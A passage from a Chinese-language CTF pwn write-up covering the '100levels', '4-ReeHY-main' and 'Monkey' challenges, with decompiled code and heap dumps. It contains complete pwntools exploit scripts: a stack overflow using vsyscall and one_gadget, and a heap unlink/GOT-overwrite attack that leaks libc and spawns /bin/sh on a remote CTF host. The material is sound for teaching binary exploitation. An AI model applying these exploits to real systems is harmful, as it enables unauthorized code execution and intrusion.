if ( v2 > 0 ) // 这里可以看到当我们输入的值不大于0的时候,不会覆盖 [rbp+var_110] 处system函数的地址
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = get_input("Any more?");
v6 = v5 + v3;
if ( v6 > 0 )
{
if ( v6 <= 99 )
{
v7 = v6;
}
else
{
puts("You are being a real man.");
v7 = 100LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)question(v7) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
由于给了 libc,我们可以让相加后的值为 one_gadget 的地址,然后再从 go 函数进入 question 函数的时候,可以控制 rip 的值到 我们修改的位置处执行:
_BOOL8 __fastcall question(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
可以看到 buffer 距离 rbp 的距离为 0x30,所以我们只需要构造如下栈布局:
"a"*0x30+"b"*8+old_ret+ret+ret
|
rbp+120h 处
但是由于我们不知道rop的地址,所以可以使用 vsyscall:
gdb-peda$ x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
最终版的 exp:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = process('./100levels')
io = remote("111.198.29.45", 30742)
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000
def go(levels, more):
io.sendlineafter("Choice:\n", '1')
io.sendlineafter("levels?\n", str(levels))
io.sendlineafter("more?\n", str(more))
def hint():
io.sendlineafter("Choice:\n", '2')
if __name__ == "__main__":
hint()
go(0, one_gadget - system_offset)
for i in range(99):
io.recvuntil("Question: ")
a = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
b = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:", str(a * b))
payload = 'A' * 0x30 # buffer
payload += 'B' * 0x8 # rbp
payload += p64(ret_addr) * 3
io.sendafter("Answer:", payload)
io.interactive()
4-ReeHY-main-100
nevv@ubuntu:~/Desktop$ checksec 4-ReeHY-main
[*] '/home/nevv/Desktop/4-ReeHY-main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
经典菜单题,先看添加函数,dword_6020AC 处存储分配的chuk,最多5个,输入大小的时候当大于 0x70 的时候直接复制到堆上,小于的时候会先复制到栈上,然后再复制到堆中。
create 函数:
signed int create()
{
signed int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int v3; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]
result = dword_6020AC;
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = get_input();
LODWORD(nbytes) = result; // rax返回值的低2字
if ( result <= 4096 )
{
puts("Input cun");
result = get_input();
v3 = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 0x70 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
dword_6020E8[4 * v3] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
return result;
}
get_input 函数:
__int64 get_input()
{
char buf; // [rsp+2h] [rbp-Eh]
read(0, &buf, 10uLL);
return (unsigned int)atoi(&buf);
}
edit 函数:
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to edit");
result = get_input();
v1 = result;
if ( result <= 4 )
{
result = chunk_inuse[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&chunk_addr + 2 * v1), *(unsigned int *)(4LL * v1 + chunk_size));
result = puts("Edit success!");
}
}
return result;
}
show函数没什么卵用
delete 函数:
__int64 delete()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to dele");
result = get_input();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&chunk_addr + 2 * (signed int)result)); // 这里free后没有置为空,存在uaf
chunk_inuse[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(chunk_num-- - 1);
}
return result;
}
利用:
经过以上简单分析,我们注意到在delete函数中没有检测索引是负数的情况,而且在free后指针没有置为空,存在UAF,这是两个漏洞点可以给利用提供一些思路。
- edit函数中,修改内容的时候会到数组中去取size大小,然后根据之前的size大小修改
- create函数中,大于0x70的时候直接复制,小于的时候会把数据先拷贝到栈上
- 联想到程序的防御机制,应该是想让我们用got表地址做文章
- gdb 调试栈和堆的内容如下:
pwndbg> x /30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000300000002 0x0000000000000004 // 存储chunk content大小
0x603020: 0x0000000000000000 0x0000000000000031
0x603030: 0x0000000a656d616e 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000 // 不知道是什么,再往后是添加的三个chunk
0x603050: 0x0000000000000000 0x0000000000000021
0x603060: 0x0000000000000a31 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000021
0x603080: 0x00000000000a3231 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000021
0x6030a0: 0x000000000a333231 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000020f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
pwndbg> x /30gx 0x6020AC
0x6020ac: 0x0000000000000003 0x0000000000000000 // chunk_sum 字段
0x6020bc: 0x0060301000000000 0x0000000000000000 // 存储指向 chunk content 的指针
0x6020cc: 0x0000000000000000 0x0000000000000000
0x6020dc: 0x0060306000000000 0x0000000100000000 // 存储三个chunk的地址 以及 inuse 字段
0x6020ec: 0x0060308000000000 0x0000000100000000
0x6020fc: 0x006030a000000000 0x0000000100000000
0x60210c: 0x0000000000000000 0x0000000000000000
0x60211c: 0x0000000000000000 0x0000000000000000
0x60212c: 0x0000000000000000 0x0000000000000000
0x60213c: 0x0000000000000000 0x0000000000000000
0x60214c: 0x0000000000000000 0x0000000000000000
0x60215c: 0x0000000000000000 0x0000000000000000
0x60216c: 0x0000000000000000 0x0000000000000000
0x60217c: 0x0000000000000000 0x0000000000000000
0x60218c: 0x0000000000000000 0x0000000000000000
- 新建 A B C
- free content_chunk,新建D(指向的区域是 content chunk),通过修改D修改A chunk的size
- 修改之前的chunk A,造成溢出,覆盖B的pre_size和size字段的标志位
- 联想到题目中有堆地址可以用,因此我们可以构造 unlink,修改堆指针指向存储了堆数组的之前 0x18 字节处
但是现在我们依然无法得知system函数的地址,可以采用如下办法:
- 修改三个chunk地址依次为free_got,puts_got,atoi_got
- 通过edit chunk A 修改free函数的got表为puts函数的plt地址,这里修改有个坑点不能使用sendline,不然会报错
- 修改后使用free(chunk B),打印出puts函数的got表地址,泄漏出libc,修改atoi为sysytem函数地址
- 最后使用atoi传递bin/sh函数getshell
exp:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
# p = process('./4-ReeHY-main')
elf = ELF('./4-ReeHY-main')
p = remote('111.198.29.45', 30999)
p.recv()
p.sendline("hello")
def create(size,cun,content):
p.recvuntil("$")
p.sendline("1")
p.recv()
p.sendline(str(size))
p.recv()
p.sendline(str(cun))
p.recv()
p.sendline(content)
def delete(index):
p.recvuntil("$")
p.sendline("2")
p.recv()
p.sendline(str(index))
def edit(index,content):
p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(index))
p.recv()
p.sendline(content)
heap_ptr = 0x6020e0
create(0x80,0,"a"*0x80)
create(0x80,1,"a"*0x80)
create(0x80,2,"a"*0x80)
delete(-2) # free the chunk of saving chunk's size
create(0x10,3,p32(0x80*2)+p32(0x80)+p32(0x80)+p32(0))
# malloc and edit the chunk we just free
# --------- prepare to create a fake chunk ---------
payload = p64(0) + p64(0x81)
# presize and size
payload = payload + p64(heap_ptr-0x18) + p64(heap_ptr-0x10)
# fd and bk to unlink
payload += (0x80-len(payload)) * "a"
payload += p64(0x80)
payload += p64(0x90)
# chunk1's fd and bk
edit(0,payload)
delete(1) # unlink
edit(0, p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got["puts"]) + p64(1) + p64(elf.got["atoi"]) + p64(1))
p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(0))
p.recv()
p.send(p64(elf.plt["puts"]))
# modify free_got to puts()
delete(1)
p.recvuntil("Chose one to dele\n")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
system = libc_addr + 0x045390
print hex(puts_addr)
edit(2, p64(system))
p.sendline("/bin/sh;")
# gdb.attach(p)
p.interactive()
Monkey
mozilla 的 js shell
执行 os.system('/bin/sh'),然后 cat flag即可
参考链接:
- https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
- https://github.com/firmianay/CTF-All-In-One/blob/89825f05449eb37e5c3aad74635d8268ce69b339/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md
- https://blog.csdn.net/qq_35519254/article/details/78540442
- https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/pwn-100-aul.md
- https://firmianay.github.io/2018/03/22/pwn_hitbctf2017_1000levels.html
- http://www.mamicode.com/info-detail-2502908.html